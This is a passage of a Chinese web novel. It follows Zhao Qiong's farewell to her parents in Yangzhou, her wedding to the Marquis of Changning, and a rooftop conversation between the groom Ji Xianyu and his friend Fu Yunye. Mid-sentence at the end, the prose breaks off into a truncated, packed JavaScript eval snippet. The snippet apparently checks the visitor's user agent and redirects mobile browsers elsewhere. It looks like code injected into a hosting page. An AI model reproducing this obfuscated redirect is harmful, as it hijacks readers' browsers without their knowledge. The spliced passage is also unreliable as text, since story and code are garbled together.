。所有事情一应俱全准备妥当之后,也差不多到了出嫁的日子,赵琼要从扬州嫁到京城,路途遥远,所以要提前多日上路。
送亲的那天,赵府府内外处处张灯结彩,悬挂着大红彩绸。迎亲的队伍吹拉弹唱,锣鼓喧天,边上围满了看热闹的百姓。
这赵府嫁姑娘可真好啊,能洒出不少铜钱呢!一条街上都是喜气洋洋的样子。
赵琼跪在地上,拜别双亲。边上的喜娘咧嘴笑着说着吉祥话,赵琼她娘哪里听得进去,她只知道今日之后女儿就要离开自己身边了,忍不住抽搭着哭泣起来。赵攒和夫人一样,哭的涕泗横流,这是他的宝贝女儿啊,从小抱在怀里的女儿。
直到赵琼转身的那一刻,她娘再也忍不住扑身上来,“珍珍!珍珍!你要好好的!”
赵琼的身子哭的一抽一抽的。
赵攒赶紧上前将夫人拉入怀中,对着女儿哽咽道:“有什么事一定要写信告诉爹娘,别一个人承受委屈。”
赵琼哭着点头答应。
出了扬州城之后,她掀开车帘向后望去,只见扬州城的城门逐渐变小直至成为了一个小黑点,她长呼一口气忍住眼泪,以后的路便要她一个人走了。
迎亲的队伍浩浩荡荡,紧赶慢赶终于在正日子前一天到达了京城。赵琼在喜娘的陪伴下,于六月初二正式嫁入昌宁侯府。
拜过堂之后,赵琼被独自安排在了后屋,等着新郎来掀盖头喝合卺酒。
她还从来没见过这昌宁侯的样子,要说不紧张是不可能的。扬州的人都说他面冷心硬,像个活阎王。想到这里,她便心生担忧,这昌宁侯万一长得凶神恶煞,自己以后哪儿能和他在一张床上面对面睡得下去?怕是看上一眼都要做一整晚噩梦。
而且在她出嫁之前,她阿娘给了她一本小册子又讲了些男女之事,她等她娘走了之后偷偷看过,上面的内容可以说是亲密至极。
那些动作,她怎么能与凶煞的人做得来?
要不以后一直闭眼?反正忍忍也就过去了。
正当赵琼胡思乱想的时候,新房的门被人从外面推开了。
赵琼听见声音只觉得心脏被人狠狠捏住,紧张的透不过气来。屋里的下人们对着来人齐齐喊了声侯爷,那人便吩咐他们都下去。
赵琼的视线被头上的红盖头遮挡住,只能从缝隙中看见自己面前站了一双红色的喜靴,思绪纷飞,她的盖头被人轻轻挑起。
赵琼抬头看向来人,闯入眼帘的是一张和传言完全不相像的脸。五官英朗,剑眉星目,鼻梁高挺,薄唇,是赵琼以前从未见过的英俊。只不过面色有些冷,大喜之日也看不出半分高兴的样子,眼神中还隐隐透着阴翳。
二人在喜娘的吩咐下,坐在桌前喝了合卺酒,也算是走完了程序。气氛一时之间有些尴尬,赵琼也不知自己应该说些什么。
最终还是纪衔玉率先打破了僵局:“一会儿我要出去应付宾客,应该会很晚回来,你要是累了便先休息,不用等我。”
赵琼闻言点点头,送纪衔玉出了新房。等他离开之后,一直绷着的身子松懈下来。既然纪衔玉都这么说了,她命宝珠为自己卸下头上的妆发。这新娘的头饰实在重的厉害,她的脖子早就不堪重负。
趁着她卸妆,侯府中的下人送了些饭菜上来。赵琼累了一天,早就饿了,此刻见到一桌子菜胃口大开,自顾自地吃了起来,甚至还吃了几盏酒,倒是自在。
此时后院的房顶上——
傅云野直剌剌地摊在那,手边放着一壶从喜宴上顺来的酒,对着旁边的纪衔玉说道:“我说你个新郎官不去洞房也不去前院陪宾客,在这和我喝酒作甚?”
他正是那日同纪衔玉在扬州喝茶的红衣青年。
“你不也是宾客么。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,'